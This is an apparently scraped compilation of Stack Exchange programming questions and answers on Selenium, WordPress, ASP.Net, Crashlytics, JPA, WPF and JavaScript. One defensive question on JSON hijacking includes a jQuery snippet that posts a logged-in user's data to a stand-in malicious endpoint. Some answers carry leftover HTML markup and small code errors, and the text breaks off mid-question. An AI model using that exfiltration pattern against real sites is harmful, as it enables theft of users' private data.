问:
Getting Selenium to pause for X seconds
What I am trying to accomplish is browsing to a page, waiting for something to load and then taking and saving a screenshot.

The code I already have is

```<code>WebDriver driver = new FirefoxDriver();

driver.get("http://www.site.com");

driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);

try {

    File scrFile = ((TakesScreenshot)driver).getScreenshotAs(OutputType.FILE);
    FileUtils.copyFile(scrFile, new File("/home/Desktop/image.png"));

} catch (Exception e) {

       e.printStackTrace();
}

driver.close();
</code>```

The reason I need to wait, even if the page is loaded is because it'll be loaded but on the site the content I'd like to take a picture of loads after a few seconds. For some reason the page is not waiting, is there another method that I can use to get the driver/page to wait for X amount of seconds?

答:
```<code>const { By, until } = require('selenium-webdriver');

this.wait = async function (amount: number) {
      try {
        await this.driver.wait(
          until.elementLocated(By.css('[data-test-id="does-not-exist"]')),
          amount,
          'Looking for element'
        );
      } catch (e) {
        console.log('waiting')
      }
</code>```

We look for a css identifier that isn't there for x amount of seconds. This is typescript btw. This would be a method on some relevant class, or a function by itself. Use it like this

```<code>  const button = await this.findByCSSSelector('[data-test-id="get-quote-button"]')
  const actions = this.driver.actions({ bridge: true });
  await actions.move({origin: button }).perform();

  // Small pause to observe animation is working correctly in all browsers
  await this.wait(700)

  const carat = await this.findByCSSSelector('[data-test-id="carat"]');
</code>```

This waits for .7 of a second so that you can see that whatever animation is working in your functional tests.

Title: Getting Selenium to pause for X seconds

Body:
What I am trying to accomplish is browsing to a page, waiting for something to load and then taking and saving a screenshot.

The code I already have is

WebDriver driver = new FirefoxDriver();

driver.get("http://www.site.com");

driver.manage().timeouts().implicitlyWait(10, TimeUnit.SECONDS);

try {

    File scrFile = ((TakesScreenshot)driver).getScreenshotAs(OutputType.FILE);
    FileUtils.copyFile(scrFile, new File("/home/Desktop/image.png"));

} catch (Exception e) {

       e.printStackTrace();
}

driver.close();

The reason I need to wait, even if the page is loaded is because it'll be loaded but on the site the content I'd like to take a picture of loads after a few seconds. For some reason the page is not waiting, is there another method that I can use to get the driver/page to wait for X amount of seconds?

Body:
const { By, until } = require('selenium-webdriver');

this.wait = async function (amount: number) {
      try {
        await this.driver.wait(
          until.elementLocated(By.css('[data-test-id="does-not-exist"]')),
          amount,
          'Looking for element'
        );
      } catch (e) {
        console.log('waiting')
      }

We look for a css identifier that isn't there for x amount of seconds. This is typescript btw. This would be a method on some relevant class, or a function by itself. Use it like this

  const button = await this.findByCSSSelector('[data-test-id="get-quote-button"]')
  const actions = this.driver.actions({ bridge: true });
  await actions.move({origin: button }).perform();

  // Small pause to observe animation is working correctly in all browsers
  await this.wait(700)

  const carat = await this.findByCSSSelector('[data-test-id="carat"]');

This waits for .7 of a second so that you can see that whatever animation is working in your functional tests.


来源: stackexchange

问:
Load WordPress 5.2 jQuery Script From CDN
Until WP 5.0 the below code worked. After WP 5.2 it doesn't work anymore. I receive an error that suggest to use wp_enqueue_scripts and to not use wp_deregister_script anymore.

```<code>add_action('init', function()
{
  if (is_admin())
  {
    return;
  }

  global $wp_scripts;
  if (isset($wp_scripts->registered['jquery']->ver))
  {
    $ver = $wp_scripts->registered['jquery']->ver;
  }
  else
  {
    $ver = '1.12.4';
  }

  wp_deregister_script('jquery');
  wp_register_script('jquery', "https://ajax.googleapis.com/ajax/libs/jquery/$ver/jquery.min.js", false, $ver);
});
</code>```

答:
It is usually sufficient to insert this into the head tag in the header.php file:

```<code><?php wp_enqueue_script('jquery'); ?>
</code>```

And Wordpress does the rest...

ContentLicense: CC BY-SA 4.0

Body:
Until WP 5.0 the below code worked. After WP 5.2 it doesn't work anymore. I receive an error that suggest to use wp_enqueue_scripts and to not use wp_deregister_script anymore.

add_action('init', function()
{
  if (is_admin())
  {
    return;
  }

  global $wp_scripts;
  if (isset($wp_scripts->registered['jquery']->ver))
  {
    $ver = $wp_scripts->registered['jquery']->ver;
  }
  else
  {
    $ver = '1.12.4';
  }

  wp_deregister_script('jquery');
  wp_register_script('jquery', "https://ajax.googleapis.com/ajax/libs/jquery/$ver/jquery.min.js", false, $ver);
});

Body:
It is usually sufficient to insert this into the head tag in the header.php file:

<?php wp_enqueue_script('jquery'); ?>

And Wordpress does the rest...


问:
Visual Studio Code - "Shell Command: Install 'code' command in PATH command."
Consider:

I just started with Angular. I installed angular/cli and added a project.
Now I want to use Visual Studio Code.

I open the Command Palette (Ctrl + Shift + P) and type 'shell command' to find the shell command: Install 'code' command in PATH command.

But I get this message

"No commands matching"

Why does it not exist?

答: the path has been set automatically when installing VS.But i noticed a difference between "code." and "code ." Can you see the difference? The second has space in between the code and the dot. Try that.</p>


问:
Precompilation and startup times on ASP.Net
I am developping a (relatively small) website in ASP.Net 2.0. I am also using nAnt to perform some easy tweaking on my project before delivering executables. In its current state, the website is "precompiled" using

aspnet_compiler.exe -nologo -v ${Appname} -u ${target}

I have noticed that after the IIS pool is restarted (after a idle shutdown or a recycle), the application takes up to 20 seconds before it is back online (and Application_start is reached).

I don't have the same issue when I am debugging directly within Visual Studio (it takes 2 seconds to start) so I am wondering if the aspnet_compiler is really such a good idea.

I couldn't find much on MSDN. How do you compile your websites for production?

答: Make sure this is set in web.config <compilation debug=false>. In my case, I also have a batch file which issue Get requests for all the main pages before giving to users (page loading simulation).

OwnerDisplayName: lucasbfr

ContentLicense: CC BY-SA 2.5

LastEditorDisplayName: ScottCher

OwnerDisplayName: Gulzar


问:
AutoEventWireup and base.OnLoad(e) Calling Self resulting in Stack Overflow
Using VS2008, C#.  When AutoEventWireup is set to true and in a webform I call base.OnLoad(e) like:

```<code>protected void Page_Load(object sender, EventArgs e)
{
    base.OnLoad(e);
}
</code>```

The base.OnLoad(e) ends up calling Page_Load (calls itself).  This ends up with a stack overflow error.  I've been able to solve it by setting AutoEventWireup to false and overriding OnLoad:

```<code>protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
}
</code>```

This works as I expected (no stack overflows).  But can anyone explain why in the first example base.OnLoad(e) calls the same load event (calls itself) rather than calling the OnLoad event in the base class (System.Web.UI.Page)?

答: OnLoad doesn't call itself, it calls the Load event. The Page.OnLoad method merely wraps the call to the attached events. You should not call base.OnLoad from a Load event handler or it will result in an infinite loop.</p>

ContentLicense: CC BY-SA 3.0

Body:
Using VS2008, C#.  When AutoEventWireup is set to true and in a webform I call base.OnLoad(e) like:

protected void Page_Load(object sender, EventArgs e)
{
    base.OnLoad(e);
}

The base.OnLoad(e) ends up calling Page_Load (calls itself).  This ends up with a stack overflow error.  I've been able to solve it by setting AutoEventWireup to false and overriding OnLoad:

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
}

This works as I expected (no stack overflows).  But can anyone explain why in the first example base.OnLoad(e) calls the same load event (calls itself) rather than calling the OnLoad event in the base class (System.Web.UI.Page)?

OwnerDisplayName: BC


问:
Send a table in email
I have a requirement to send the results of a query in emails. I am using two methods:

GetDataTable() : to execute the query and obtain datatable(which needs to be sent in email)

SendAutomatedEmail() : to send automated emails.

Problem: i need to send data table or html table in email, something like code below. this works fine for a string in place of dataTable

```<code>public static void Main(string[] args)
{
    DataTable datatable = GetDataTable();
    SendAutomatedEmail(datatable );
}

    public static DataTable GetDataTable(string CommandText)
    {
        string cnString = ConfigurationManager.ConnectionStrings["Connection2"].ConnectionString;
        SqlConnection sqlConnection = new SqlConnection(cnString);

        string CommandText = "select * from dbo.fs010100 (nolock)";
        SqlCommand sqlCommand =  new SqlCommand( CommandText, sqlConnection);

        SqlDataAdapter sqlDataAdapter = new System.Data.SqlClient.SqlDataAdapter();
        sqlDataAdapter.SelectCommand = sqlCommand;

        DataTable dataTable = new DataTable();
        dataTable.Locale = System.Globalization.CultureInfo.InvariantCulture;

        // Adds or refreshes rows in the DataSet to match those in the data source
        try
        {
            sqlDataAdapter.Fill(dataTable);
            sqlConnection.Close(dataTable );
        }
        catch (Exception _Exception)
        {
            sqlConnection.Close();
            //Console.WriteLine(_Exception.Message);
            return null;
        }

        return dataTable;
    }

    public static void SendAutomatedEmail(DataTable dt, string recipient = "user@domain.com")
    {
        try
        {
            string mailServer = "server.com";

            MailMessage message = new MailMessage(
                                                   "it@domain.com",
                                                   recipient,
                                                   "Test Email",
                                                   dt.ToString()
                                                   );
            SmtpClient client = new SmtpClient(mailServer);
            var AuthenticationDetails = new NetworkCredential("user@domain.com", "password");
            client.Credentials = AuthenticationDetails;
            client.Send(message);
        }
        catch (Exception e)
        {

        }

    }
</code>```

答:
Other dynamic function:</p>

```<code>private string RenderDataTableToHtml(DataTable dtInfo)
    {
        StringBuilder tableStr = new StringBuilder();

        if(dtInfo.Rows != null && dtInfo.Rows.Count > 0)
        {
            int columnsQty = dtInfo.Columns.Count;
            int rowsQty = dtInfo.Rows.Count;

            tableStr.Append("<TABLE BORDER=\"1\">");
            tableStr.Append("<TR>");
            for (int j = 0; j < columnsQty; j++)
            {
                tableStr.Append("<TH>" + dtInfo.Columns[j].ColumnName + "</TH>");
            }
            tableStr.Append("</TR>");

            for (int i = 0; i < rowsQty; i++)
            {
                tableStr.Append("<TR>");
                for (int k = 0; k < columnsQty; k++)
                {
                    tableStr.Append("<TD>");
                    tableStr.Append(dtInfo.Rows[i][k].ToString());
                    tableStr.Append("</TD>");
                }
                tableStr.Append("</TR>");
            }

            tableStr.Append("</TABLE>");
        }

        return tableStr.ToString();
    }
}
</code>```

Title: Send a table in email

Body:
I have a requirement to send the results of a query in emails. I am using two methods:

GetDataTable() : to execute the query and obtain datatable(which needs to be sent in email)

SendAutomatedEmail() : to send automated emails.

Problem: i need to send data table or html table in email, something like code below. this works fine for a string in place of dataTable

public static void Main(string[] args)
{
    DataTable datatable = GetDataTable();
    SendAutomatedEmail(datatable );
}

    public static DataTable GetDataTable(string CommandText)
    {
        string cnString = ConfigurationManager.ConnectionStrings["Connection2"].ConnectionString;
        SqlConnection sqlConnection = new SqlConnection(cnString);

        string CommandText = "select * from dbo.fs010100 (nolock)";
        SqlCommand sqlCommand =  new SqlCommand( CommandText, sqlConnection);

        SqlDataAdapter sqlDataAdapter = new System.Data.SqlClient.SqlDataAdapter();
        sqlDataAdapter.SelectCommand = sqlCommand;

        DataTable dataTable = new DataTable();
        dataTable.Locale = System.Globalization.CultureInfo.InvariantCulture;

        // Adds or refreshes rows in the DataSet to match those in the data source
        try
        {
            sqlDataAdapter.Fill(dataTable);
            sqlConnection.Close(dataTable );
        }
        catch (Exception _Exception)
        {
            sqlConnection.Close();
            //Console.WriteLine(_Exception.Message);
            return null;
        }

        return dataTable;
    }

    public static void SendAutomatedEmail(DataTable dt, string recipient = "user@domain.com")
    {
        try
        {
            string mailServer = "server.com";

            MailMessage message = new MailMessage(
                                                   "it@domain.com",
                                                   recipient,
                                                   "Test Email",
                                                   dt.ToString()
                                                   );
            SmtpClient client = new SmtpClient(mailServer);
            var AuthenticationDetails = new NetworkCredential("user@domain.com", "password");
            client.Credentials = AuthenticationDetails;
            client.Send(message);
        }
        catch (Exception e)
        {

        }

    }

Body:
Other dynamic function:

private string RenderDataTableToHtml(DataTable dtInfo)
    {
        StringBuilder tableStr = new StringBuilder();

        if(dtInfo.Rows != null && dtInfo.Rows.Count > 0)
        {
            int columnsQty = dtInfo.Columns.Count;
            int rowsQty = dtInfo.Rows.Count;

            tableStr.Append("<TABLE BORDER=\"1\">");
            tableStr.Append("<TR>");
            for (int j = 0; j < columnsQty; j++)
            {
                tableStr.Append("<TH>" + dtInfo.Columns[j].ColumnName + "</TH>");
            }
            tableStr.Append("</TR>");

            for (int i = 0; i < rowsQty; i++)
            {
                tableStr.Append("<TR>");
                for (int k = 0; k < columnsQty; k++)
                {
                    tableStr.Append("<TD>");
                    tableStr.Append(dtInfo.Rows[i][k].ToString());
                    tableStr.Append("</TD>");
                }
                tableStr.Append("</TR>");
            }

            tableStr.Append("</TABLE>");
        }

        return tableStr.ToString();
    }
}


问:
How to keep my app flutter always on top, having priority over the others?
I developed an application that uses NFC technology to receive some data when the badge is passed.
When the app is open the screen must always remain accessible and this happens through the use of an external library. It works correctly, but if for example a popup is displayed warning you to update the device, the device goes to lock or if I pass the badge while this window is shown the device instead of using my app to detect the nfc tag uses the system one . How can I solve this problem?

答: I believe what you're going to need to do for this is use a background isolate. </p>


问:
Error When Deserializing a JSON String to a Java Object with Interface Data Member
I have a JSON String and I want to deserialize it to a Java object with a interface data member.  The Java object looks like this:

```<code>public class Person {
     private String id;
     private String name;
     private AddressInterface addr;
}
</code>```

Both the Person and the AddressInterface are third party classes, so I can't make any changes to them.

When I used the following to deserialize the JSON string,

```<code> objectMapper.readValue(json_file, Person.class)
</code>```

I got the following exception.  It's because the object mapper doesn't know how to deserialize the AddressInterface  field.  Can someone let me know how to deserialize the string into an Person object in this case?  Many Thanks.

```<code> abstract types either need to be mapped to
 concrete types, have custom deserializer,
 or be instantiated with additional type information
</code>```

答:
With GSON library you can get rid of the boilerplate codes!

You can use GSON library in the link below!

https://www.tutorialspoint.com/gson/gson_quick_guide.htm

Body:
I have a JSON String and I want to deserialize it to a Java object with a interface data member.  The Java object looks like this:

public class Person {
     private String id;
     private String name;
     private AddressInterface addr;
}

Both the Person and the AddressInterface are third party classes, so I can't make any changes to them.

When I used the following to deserialize the JSON string,

 objectMapper.readValue(json_file, Person.class)

I got the following exception.  It's because the object mapper doesn't know how to deserialize the AddressInterface  field.  Can someone let me know how to deserialize the string into an Person object in this case?  Many Thanks.

 abstract types either need to be mapped to
 concrete types, have custom deserializer,
 or be instantiated with additional type information


问:
Protecting a protected JSON web service from data harvesting?
We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.

Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?

For example:

Could a malicious website build a script like this to get our data:

```<code>$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});
</code>```

Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?

答:
If you are afraid that an attacker is able to use the session of a legitimate user to retrieve JSON-objects, you are talking about JSON-hijacking. It depends on the way your JSON-Files are structured, if such an attack is even possible. Look up the term "JSON hijacking" for further information or feel free to leave a comment with more details about your application concerning JSON-objects. If you find out that you are vulnerable, adding a CSRF-Token will help to shut down any JSON hijacking attacks.

You must also make sure that there is not a single Cross-Site Scripting (XSS) vulnerability in your web application. If an attacker can use XSS, it is rather easy for him to harvest data by controlling the browser of a valid user. CSRF-Tokens are useless in such a case.

Body:
We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.

Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?

For example:

Could a malicious website build a script like this to get our data:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?


问:
Fabric Debug Craslytic Reports : Signup, build Id missing, apply plugin : io.fabric
We have programming an Android app and try to implement Crashlytics to our app.

We have different types of problem .
Version we used :
Android studio version :
3.3

Gradle version :
classpath 'com.android.tools.build:gradle:3.3.1'

Plugin :
Fabric for Android studio v4.3.0

Implementation :
implementation('com.crashlytics.sdk.android:crashlytics:2.9.9') { transitive = true }
implementation('io.fabric.sdk.android:fabric:1.4.0@aar') { transitive = true }

gradle-wrapper.properties :
 distributionUrl=https://services.gradle.org/distributions/gradle-5.2.1-all.zip

First Problem :

When we implement Crashlytics, you know that developers have 3 steps. We can not skip 2,3.steps. Because we have not compiled our application yet. We had two main errors:

Error 1:

This app relies on Crashlytics. Please sign up for access at https://fabric.io/sign_up,

Error 2 :

```<code>E/CrashlyticsCore: The Crashlytics build ID is missing.This occurs when
Crashlytics tooling is absent from your app's build configuration.
Please review Crashlytics onboarding instructions and ensure you have a valid Crashlytics account.
</code>```

So, we had to be disabled "Debug Mod" to complete implementation of Crashlytic.

```<code>Crashlytics crashlyticsKit = new Crashlytics.Builder()
        .core(new CrashlyticsCore.Builder().disabled(BuildConfig.DEBUG).build())
        .build();

Fabric.with(this, crashlyticsKit);  // Tod from Fabric suggested in stackoverflow
</code>```

And implementation was completed.

But we do not want to do that. Because, when we have a crash, it does not  any report to Crashlytics or Firebase. We also want to have debug mod’s crashes.

When we removed -> ....disabled(BuildConfig.DEBUG)  -  it shows again : Error 1, Error 2.

Second Problem :

In gradle ; apply plugin : ‘io.fabric’, we made the comment line, when we remove comments line,  we have errors below :

Error 3 :

```<code>WARNING: API 'variant.getExternalNativeBuildTasks()' is obsolete and has been replaced with 'variant.getExternalNativeBuildProviders()'.
It will be removed at the end of 2019.
For more information, see https://d.android.com/r/tools/task-configuration-avoidance.
To determine what is calling variant.getExternalNativeBuildTasks(), use -Pandroid.debug.obsoleteApi=true on the command line to display a stack trace.
Affected Modules: app
</code>```

When we searched it, this error related to new android studio gradle. So we needed to make comment line “apply plugin: fabric.io” again.

There is no good solution about that.

To run application we can not remove:

new CrashlyticsCore.Builder().disabled(BuildConfig.DEBUG).build() : (due to Error1  Error2)

So we try to enable report different ways :

What have we try to add until here?

1. Enable in gradle :

```<code>buildTypes {
    debug {
        manifestPlaceholders = [crashlyticsEnabled: true]
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
    }
    release {
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
        manifestPlaceholders = [crashlyticsEnabled: false]

    }
</code>```

2.    Enable in Manifest

```<code><meta-data
    android:name="firebase_crashlytics_collection_enabled"
    android:value="true" />
</code>```

3.Enable in ADB

```<code>  adb shell setprop log.tag.Fabric DEBUG
  adb shell setprop log.tag.CrashlyticsCore DEBUG
</code>```

But still, Crashlytics or Firebase does not get any Debug Crash reports.

We have expecting your solutions.

答:
I had the same problem in my app (Android Studio 3.4.1)

I fixed trough conecting to the Fabric Plugin. Creating an account and linking my app to it.

Body:
We have programming an Android app and try to implement Crashlytics to our app.

We have different types of problem .
Version we used :
Android studio version :
3.3

Gradle version :
classpath 'com.android.tools.build:gradle:3.3.1'

Plugin :
Fabric for Android studio v4.3.0

Implementation :
implementation('com.crashlytics.sdk.android:crashlytics:2.9.9') { transitive = true }
implementation('io.fabric.sdk.android:fabric:1.4.0@aar') { transitive = true }

gradle-wrapper.properties :
 distributionUrl=https://services.gradle.org/distributions/gradle-5.2.1-all.zip

First Problem :

When we implement Crashlytics, you know that developers have 3 steps. We can not skip 2,3.steps. Because we have not compiled our application yet. We had two main errors:

Error 1:

This app relies on Crashlytics. Please sign up for access at https://fabric.io/sign_up,

Error 2 :

E/CrashlyticsCore: The Crashlytics build ID is missing.This occurs when
Crashlytics tooling is absent from your app's build configuration.
Please review Crashlytics onboarding instructions and ensure you have a valid Crashlytics account.

So, we had to be disabled "Debug Mod" to complete implementation of Crashlytic.

Crashlytics crashlyticsKit = new Crashlytics.Builder()
        .core(new CrashlyticsCore.Builder().disabled(BuildConfig.DEBUG).build())
        .build();

Fabric.with(this, crashlyticsKit);  // Tod from Fabric suggested in stackoverflow

And implementation was completed.

But we do not want to do that. Because, when we have a crash, it does not  any report to Crashlytics or Firebase. We also want to have debug mod’s crashes.

When we removed -> ....disabled(BuildConfig.DEBUG)  -  it shows again : Error 1, Error 2.

Second Problem :

In gradle ; apply plugin : ‘io.fabric’, we made the comment line, when we remove comments line,  we have errors below :

Error 3 :

WARNING: API 'variant.getExternalNativeBuildTasks()' is obsolete and has been replaced with 'variant.getExternalNativeBuildProviders()'.
It will be removed at the end of 2019.
For more information, see https://d.android.com/r/tools/task-configuration-avoidance.
To determine what is calling variant.getExternalNativeBuildTasks(), use -Pandroid.debug.obsoleteApi=true on the command line to display a stack trace.
Affected Modules: app

When we searched it, this error related to new android studio gradle. So we needed to make comment line “apply plugin: fabric.io” again.

There is no good solution about that.

To run application we can not remove:

new CrashlyticsCore.Builder().disabled(BuildConfig.DEBUG).build() : (due to Error1  Error2)

So we try to enable report different ways :

What have we try to add until here?

1. Enable in gradle :

buildTypes {
    debug {
        manifestPlaceholders = [crashlyticsEnabled: true]
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
    }
    release {
        minifyEnabled false
        proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
        manifestPlaceholders = [crashlyticsEnabled: false]

    }

2.    Enable in Manifest

<meta-data
    android:name="firebase_crashlytics_collection_enabled"
    android:value="true" />

3.Enable in ADB

  adb shell setprop log.tag.Fabric DEBUG
  adb shell setprop log.tag.CrashlyticsCore DEBUG

But still, Crashlytics or Firebase does not get any Debug Crash reports.

We have expecting your solutions.


问:
What is the difference between an Spring Entity Manager and Spring Data Repository?
I am using JPA in a website. After exploring about options for saving data, I found 2 approach. The first approach is using an implementation of javax.persistence.EntityManager. I used LocalContainerEntityManagerFactoryBean to instantiate an instance of EntityManager. Once I obtain an instance of an EntityManager, I can use it to save an entity. For example,

```<code>entityManager.merge(someEntity);
</code>```

Another option is to use an instance of org.springframework.data.repository.CrudRepository. One, I obtain an instance of a CrudRepository, I can use it to save an entity. For example,

```<code>aCrudRepository.save(someEntity);
</code>```

What is the difference between using an EntityManager and a CrudRepository to persist an entity into a database ? What are the benefit or disadvantage of the two approach (entity manager vs. crud repository) ?

答:
There are several layers of working with persistent data in Java/Spring:

JDBC

JdbcTemplate

JPA (contains EntityManager)

Spring Data JPA (contains Repository)

Each abstraction shields developers from lower-level details, but it can
bring its own complexities. JdbcTemplate is a thin abstraction over plain JDBC.
Repository is an abstraction over EntityManager. It shields developers from
some complex details that are introduced with EntityManager and adds boilerplate code and many convenient methods.

For instance, CrudRepository adds the implementation of findAll(), which is so common that it makes sense to predefine it. Repositories have many convenience methods for generating queries from method names (convention over configuration), from the entities themselves (Query By Example). They allow to use nice typesafe Fluent API with Query DSL and or enable dynamic projections.

Body:
I am using JPA in a website. After exploring about options for saving data, I found 2 approach. The first approach is using an implementation of javax.persistence.EntityManager. I used LocalContainerEntityManagerFactoryBean to instantiate an instance of EntityManager. Once I obtain an instance of an EntityManager, I can use it to save an entity. For example,

entityManager.merge(someEntity);

Another option is to use an instance of org.springframework.data.repository.CrudRepository. One, I obtain an instance of a CrudRepository, I can use it to save an entity. For example,

aCrudRepository.save(someEntity);

What is the difference between using an EntityManager and a CrudRepository to persist an entity into a database ? What are the benefit or disadvantage of the two approach (entity manager vs. crud repository) ?


问:
Get selected record from datagrid wpf?
I've got the table in picture. According to post field checkbox , if its checked I write into a file and delete those records from my database. if its not checked records will remain in my database.Problem is when I then try to access to those records I get an exception(cant find that onject) because I am trying to access with datagrid.SelectedIndex  its giving me datagrid index and not record index. Is there any way of getting record index? I ve got automatic index as incremented by 1 as unique Id for each record.

Thanks in Advance

答:
if you use a viewmodel or something you can simply use a command and the selected datagridrow as commandparameter. in your command you can easily access your underlining data and check your "Post" property and the wirte your file and delete the row from your collection.

```<code><Buttons Command="{Binding WriteCommand}" CommandParameter="{Binding ElementName=MyDataGridCtrl, Path=SelectedItem}" />
</code>```

if you have a DataTable as Datasource your Command could look like the following

```<code> private DelegateCommand<DataRowView> _writeCommand ;
 public ICommand WriteCommand
    {
        get
        {
            return this._writeCommand ??
                   (this._writeCommand = new DelegateCommand<DataRowView>(this.WriteCommandExecute, this.CanWriteCommandExecute));
        }
    }

 private bool CanEditDataCommandExecute(DataRowView rowToWrite)
    {
        return rowToWrite!= null && (bool)rowToWrite["Post"];//if post is a bool
    }

  private void EditDataCommandExecute(DataRowView rowToWrite)
    {
        if (!this.CanEditDataCommandExecute(rowToWrite))
            return;

        //do your stuff here
    }
</code>```

Title: Get selected record from datagrid wpf?

Body:
if you use a viewmodel or something you can simply use a command and the selected datagridrow as commandparameter. in your command you can easily access your underlining data and check your "Post" property and the wirte your file and delete the row from your collection.

<Buttons Command="{Binding WriteCommand}" CommandParameter="{Binding ElementName=MyDataGridCtrl, Path=SelectedItem}" />

if you have a DataTable as Datasource your Command could look like the following

 private DelegateCommand<DataRowView> _writeCommand ;
 public ICommand WriteCommand
    {
        get
        {
            return this._writeCommand ??
                   (this._writeCommand = new DelegateCommand<DataRowView>(this.WriteCommandExecute, this.CanWriteCommandExecute));
        }
    }

 private bool CanEditDataCommandExecute(DataRowView rowToWrite)
    {
        return rowToWrite!= null && (bool)rowToWrite["Post"];//if post is a bool
    }

  private void EditDataCommandExecute(DataRowView rowToWrite)
    {
        if (!this.CanEditDataCommandExecute(rowToWrite))
            return;

        //do your stuff here
    }


问:
Writing to a file in Google Cloud ML
Within my Tensorflow Python script, I want to write some debugging information that is too verbose for stackdriver logs, so I'd like to just write to my own file. If I do:

f.write('my_file.txt', 'w+')

I don't get any errors, which implies that I have some write permissions. However, I have 0 idea how to find this file. Is it in the JOB_DIR? How can i write to a file that is accessible once the job is complete?

答:
The file is written to the storage that is local to the VM that is running your code. If you want to access the file after the job has completed, you'll need to copy it to a GCS bucket at the end of your script. You can do so with the python google cloud storage client api:

```<code>from google.cloud import storage
client = storage.Client()
bucket = client.bucket(BUCKETNAME)

blob = bucket.blob(BLOBNAME)
blob.upload_from_file('my_file.txt')
</code>```

In case that you are using TensorFlow, know that some TF io utilities can handle gs:// blob locations as if they were filepaths. For instance, the tf.keras Tensorboard callback allows you to stream the Tensorboard log files directly to a GCS bucket, instead of you having to store them locally and upload them manually afterwards:

```<code>from tensorflow.keras.callbacks import TensorBoard

# Define a callback that will store tensorboard log files in a GCS bucket
callbacks = [TensorBoard(log_dir='gs://BUCKET/BLOB')]
model.fit(..., callbacks=callbacks)
</code>```

Title: Writing to a file in Google Cloud ML

Body:
The file is written to the storage that is local to the VM that is running your code. If you want to access the file after the job has completed, you'll need to copy it to a GCS bucket at the end of your script. You can do so with the python google cloud storage client api:

from google.cloud import storage
client = storage.Client()
bucket = client.bucket(BUCKETNAME)

blob = bucket.blob(BLOBNAME)
blob.upload_from_file('my_file.txt')

In case that you are using TensorFlow, know that some TF io utilities can handle gs:// blob locations as if they were filepaths. For instance, the tf.keras Tensorboard callback allows you to stream the Tensorboard log files directly to a GCS bucket, instead of you having to store them locally and upload them manually afterwards:

from tensorflow.keras.callbacks import TensorBoard

# Define a callback that will store tensorboard log files in a GCS bucket
callbacks = [TensorBoard(log_dir='gs://BUCKET/BLOB')]
model.fit(..., callbacks=callbacks)


问:
Getting properties of keys in Javascript
I have a key/value array that I defined by doing something similar to:

```<code>var arr;

function assign(iSize, jSize)
{
    arr = {};

    for (var i = 0; i < iSize; i++) {
        for (var j = 0; j < jSize; j++) {
            var pt = new Point(i, j);
            arr[pt] = [1, 2, 3];
        }
    }
}
</code>```

Where my Point function is

```<code>function Point(x, y) {
    this.x = x;
    this.y = y;
}
</code>```

and now I would like to iterate through all the values of the array but I also need to know the keys as well. I've tried

```<code>function iterate() {
    for(var e in arr) {
        console.log(e.x);
    }
}
</code>```

but it just prints out undefined. Also, if I try

```<code>function iterate() {
    console.log(Object.keys(arr));
}
</code>```

I just get [object Object] as output.

I've tried printing out the Point at the moment of creation and I can access the x and y values just fine.

As a side note, in my actual implementation I'm not just assigning the array [1, 2, 3] to each index of my array. I am assigning an array generated by another function that has nothing to do with accessing the keys in arr

答:
All object keys are strings or symbol. So, when you try to use an object as the key of another object it is coerced to the string [object object] using the toString() method. You can check it on the next example:

let obj = {a: "something"};
console.log(obj.toString());```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.as-console {background-color:black !important; color:lime;}
.as-console-wrapper {max-height:100% !important; top:0;}</code>```

One solution for what you want to do is to use a Map

The keys of an Object are String and Symbol, whereas they can be any value for a Map, including functions, objects, and any primitive.

Example with Map

function Point(x, y)
{
    this.x = x;
    this.y = y;
}

var arr;

function assign(iSize, jSize)
{
    arr = new Map();

    for (var i = 0; i < iSize; i++)
    {
        for (var j = 0; j < jSize; j++)
        {
            var pt = new Point(i, j);
            arr.set(pt, [1, 2, 3]);
        }
    }
}

function iterate()
{
    arr.forEach((val, key) =>
    {
        console.log("key => ", JSON.stringify(key), " val => ", JSON.stringify(val));
    });
}

assign(2, 2);
iterate();```
</div>
</div>
</p>
<p>Another solution is to add a <code>toString()</code> method into your <strong>Point</strong> class to avoid calling the <code>Object.prototype.toString()</code> one, as explained here:</p>
<h1>Example with <code>toString()</code></h1>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function Point(x, y)
{
    this.x = x;
    this.y = y;
}

// New toString() method for the Point class.

Point.prototype.toString = function()
{
    return `(${this.x},${this.y})`;
}

var arr;

function assign(iSize, jSize)
{
    arr = {};

    for (var i = 0; i < iSize; i++)
    {
        for (var j = 0; j < jSize; j++)
        {
            var pt = new Point(i, j);
            arr[pt] = [1, 2, 3];
        }
    }
}

function iterate()
{
    for (const key in arr)
    {
        console.log("key => ", key, " val => ", JSON.stringify(arr[key]));
    }
}

assign(2, 2);
iterate();</code>```

.as-console {background-color:black !important; color:lime;}
.as-console-wrapper {max-height:100% !important; top:0;}```

Body:
I have a key/value array that I defined by doing something similar to:

var arr;

function assign(iSize, jSize)
{
    arr = {};

    for (var i = 0; i < iSize; i++) {
        for (var j = 0; j < jSize; j++) {
